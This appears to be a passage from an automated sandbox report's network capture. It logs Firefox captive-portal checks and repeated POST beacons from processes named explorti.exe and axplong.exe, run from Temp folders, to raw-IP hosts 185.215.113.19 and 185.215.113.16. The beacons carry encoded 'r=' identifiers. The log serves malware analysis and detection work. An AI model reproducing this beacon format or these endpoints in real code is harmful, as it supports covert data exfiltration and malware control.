Jul 26, 2024 10:38:11.690589905 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:38:11.820094109 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50952 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:38:12.223786116 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:38:12.338694096 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50953 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:38:20.275197029 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:38:20.377480030 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50961 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:38:20.703521013 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:38:20.805381060 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50961 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:38:23.335632086 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:38:23.456276894 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50964 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:38:26.967540979 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:38:27.070887089 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50968 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:38:37.191531897 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:38:44.446389914 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:38:44.656023026 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50985 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:38:54.782193899 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:39:04.875334024 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:39:14.892767906 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:39:24.969846964 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:39:25.070287943 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 51026 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:39:35.202263117 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:39:45.296145916 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:39:55.404323101 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:40:05.579314947 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:40:15.591001987 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:40:24.735119104 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:40:24.833950043 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 51085 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:40:25.203948021 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:40:25.316086054 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 51086 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:40:35.401942968 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:40:45.486785889 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:40:45.589127064 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 51106 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:42:33.464534998 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:42:33.563549042 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 51214 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:43:26.817878962 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:43:26.921211958 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 51267 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:44:26.480468035 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:44:26.580514908 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 51327 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:44:26.941258907 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:44:27.042995930 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 51327 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49926	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:48.009948969 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:48.787569046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:48.804642916 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:49.059041977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:47.666677952 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:41:48.444461107 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49932	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:48.403342009 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:49.191257954 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49936	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:49.171649933 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:50.206866026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:50.213876963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:50.216686010 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:50.464760065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:51.830929041 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:41:52.608134985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49937	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:49.209804058 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:50.206903934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:37:50.228811979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:52.278409958 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:41:53.053925037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49940	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
